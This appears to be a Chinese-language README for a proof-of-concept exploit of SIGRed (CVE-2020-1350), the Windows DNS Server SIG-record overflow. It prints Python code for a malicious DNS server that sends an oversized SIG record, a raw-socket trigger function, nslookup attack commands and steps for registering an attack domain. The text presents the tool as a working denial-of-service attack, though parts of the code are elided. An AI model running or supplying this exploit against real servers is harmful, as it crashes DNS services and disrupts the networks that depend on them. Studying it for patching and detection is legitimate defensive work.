SIGRed (CVE-2020-1350) - Windows DNS服务器远程拒绝服务攻击
项目概述
SIGRed是一个针对Windows DNS服务器(CVE-2020-1350)漏洞的概念验证利用工具。该漏洞存在于Windows DNS服务器处理SIG(签名)记录的方式中,远程攻击者可以利用此漏洞触发整数溢出,导致DNS服务崩溃。此工具展示了如何通过精心构造的DNS响应包,实现对未打补丁的Windows DNS服务器的拒绝服务攻击。
本项目完整实现了Check Point Research发现的技术细节,提供了一个可工作的恶意DNS服务器,用于演示漏洞的触发过程。
功能特性
- 远程拒绝服务攻击:通过网络触发Windows DNS服务器崩溃,无需本地访问权限
- 完整的DNS协议实现:支持TCP和UDP协议在53端口的DNS通信
- 自动域名压缩处理:将目标域名自动转换为DNS查询所需的压缩格式
- 恶意SIG记录生成:构造超长的SIG记录以触发整数溢出漏洞
- 多线程服务器:同时处理TCP和UDP连接请求,提高攻击成功率
- 实时调试信息:提供详细的连接日志和数据包十六进制转储
安装指南
系统要求
- Python 3.6+
- Linux/Unix系统(推荐)或Windows
- root权限(用于绑定53端口)
依赖项
本项目仅使用Python标准库,无需安装额外依赖包。
安装步骤
- 克隆或下载本项目的Python脚本
wget https://example.com/sigred_dos.py
chmod +x sigred_dos.py
- 确保53端口未被占用
# 检查端口占用情况
sudo netstat -tulpn | grep :53
# 如被systemd-resolved占用,可临时禁用
sudo systemctl stop systemd-resolved
sudo systemctl disable systemd-resolved
使用说明
基础配置
-
准备恶意域名:
- 注册一个域名(如
yourdomain.com) - 设置该域名的NS记录指向你的攻击服务器IP
- 配置A记录使恶意域名解析到攻击服务器
- 注册一个域名(如
-
启动恶意DNS服务器:
sudo python3 sigred_dos.py yourdomain.com
服务器将在0.0.0.0:53上监听TCP和UDP连接
攻击执行
在任意可以访问目标Windows DNS服务器的机器上执行:
nslookup -type=sig 9.yourdomain.com <目标DNS服务器IP>
例如:
nslookup -type=sig 9.example.com 192.168.1.100
测试环境搭建
如果你有权访问目标Windows服务器,可以配置条件转发器简化测试:
- 打开DNS管理器
- 右键点击"条件转发器" → "新建条件转发器"
- 域名填写:
yourdomain.com - IP地址填写:运行恶意DNS服务器的IP
- 勾选"在此域中存储条件转发器"
预期结果
成功触发漏洞后,目标Windows服务器的DNS服务将会崩溃,事件查看器中应出现相应错误日志。
核心代码
DNS服务器主程序
#!/usr/bin/env python3
import socket
import sys
import threading
import struct
domain = None
domain_compressed = None
def setup():
global domain_compressed
# 将域名转换为DNS格式(如example.com转为\x07example\x03com\x00)
parts = domain.split('.')
domain_compressed = b''
for part in parts:
domain_compressed += bytes([len(part)]) + part.encode()
domain_compressed += b'\x00'
print(f"Domain compressed: {domain_compressed.hex()}")
def tcp_server():
"""TCP DNS服务器 - 处理TCP协议的DNS请求"""
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.bind(('0.0.0.0', 53))
sock.listen(50)
print("TCP server listening...")
while True:
try:
connection, client_address = sock.accept()
print(f"Received TCP Connection from {client_address}")
data = connection.recv(65535)
if len(data) < 2:
connection.close()
continue
# 构建SIG记录 - 核心攻击载荷
sig = b"\x00\x01" # Type covered: SIG
sig += b"\x05" # Algorithm: RSA/SHA1
sig += b"\x00" # Labels
sig += b"\x00\x00\x00\x20" # TTL: 32秒
sig += b"\x68\x76\xa2\x1f" # Signature Expiration
sig += b"\x5d\x2c\xca\x1f" # Signature Inception
sig += b"\x9e\x04" # Key Tag
sig += b"\xc0\x0d" # Signers Name (指向域名)
# 构造超长签名数据触发整数溢出
sig += (b"\x00"*(19 - len(domain)) + (b"\x0f" + b"\xff"*15)*5).ljust(65465 - len(domain_compressed), b"\x00")
# SIG资源记录头部
hdr = b"\xc0\x0c" # 指向"9.domain"的指针
hdr += b"\x00\x18" # Type: SIG
hdr += b"\x00\x01" # Class: IN (Internet)
hdr += b"\x00\x00\x00\x20" # TTL: 32秒
hdr += struct.pack('>H', len(sig)) # SIG记录长度
# DNS响应头部
response = b"\x81\xa0" # Flags: 标准响应
response += b"\x00\x01" # Questions: 1
response += b"\x00\x01" # Answer RRs: 1
# ... 后续响应构建代码
UDP服务器处理函数
def udp_server():
"""UDP DNS服务器 - 处理UDP协议的DNS请求"""
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.bind(('0.0.0.0', 53))
print("UDP server listening...")
while True:
try:
data, client_address = sock.recvfrom(65535)
print(f"Received UDP from {client_address}")
if len(data) < 12:
continue
# 解析DNS查询头
transaction_id = data[:2]
questions = struct.unpack('>H', data[4:6])[0]
if questions == 0:
continue
# 构建恶意响应
# 使用与TCP服务器相同的SIG记录构造方式
# ...
sock.sendto(response, client_address)
except Exception as e:
print(f"UDP error: {e}")
# 启动多线程服务器
if __name__ == "__main__":
if len(sys.argv) != 2:
print("Usage: python sigred_dos.py <domain>")
sys.exit(1)
domain = sys.argv[1]
setup()
# 创建TCP和UDP线程
tcp_thread = threading.Thread(target=tcp_server)
udp_thread = threading.Thread(target=udp_server)
tcp_thread.daemon = True
udp_thread.daemon = True
tcp_thread.start()
udp_thread.start()
print("Malicious DNS server running... Press Ctrl+C to stop")
try:
tcp_thread.join()
udp_thread.join()
except KeyboardInterrupt:
print("\nShutting down...")
sys.exit(0)
DNS查询触发示例
# 触发攻击的nslookup命令示例
"""
# 正常DNS查询示例
> nslookup -type=sig 9.example.com 192.168.1.100
Server: dns-server.example.com
Address: 192.168.1.100
# 预期响应(实际会崩溃)
*** dns-server.example.com 找不到 9.example.com: 无响应
"""
# 使用Python socket直接触发
def trigger_exploit(target_dns, malicious_domain):
"""使用原始socket发送恶意查询"""
import socket
# 构建DNS查询包
transaction_id = b'\x12\x34' # 随机事务ID
flags = b'\x01\x00' # 标准查询
questions = b'\x00\x01' # 1个问题
answer_rrs = b'\x00\x00'
authority_rrs = b'\x00\x00'
additional_rrs = b'\x00\x00'
# 查询名称: 9.malicious.com
qname = b'\x019' + domain_compressed
qtype = b'\x00\x18' # SIG记录类型
qclass = b'\x00\x01' # IN类
query = (transaction_id + flags + questions + answer_rrs +
authority_rrs + additional_rrs + qname + qtype + qclass)
# 发送UDP查询
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.settimeout(5)
sock.sendto(query, (target_dns, 53))
try:
response, _ = sock.recvfrom(4096)
print(f"收到响应: {response.hex()}")
except socket.timeout:
print("目标无响应 - 可能已崩溃")
# 使用示例
# trigger_exploit('192.168.1.100', b'\x07example\x03com\x00')
技术原理
漏洞触发过程分为以下步骤:
- 查询触发:攻击者向目标DNS服务器发送SIG记录查询请求(
nslookup -type=sig 9.恶意域名) - 递归解析:目标服务器向恶意DNS服务器请求域名解析
- 恶意响应:攻击服务器返回精心构造的SIG记录,其中签名数据部分远超正常长度
- 整数溢出:Windows DNS服务器在处理SIG记录时,计算所需缓冲区大小时发生整数溢出,分配了过小的缓冲区
- 堆溢出:后续复制签名数据时发生堆缓冲区溢出,导致服务崩溃
此漏洞存在于Windows Server 2003至Windows Server 2019版本中,微软已于2020年7月发布安全更新修复此问题。 6HFtX5dABrKlqXeO5PUv/+E/hJRSQARIxD3JszXGRmu6kZtdRHjqthaMyqT6Del5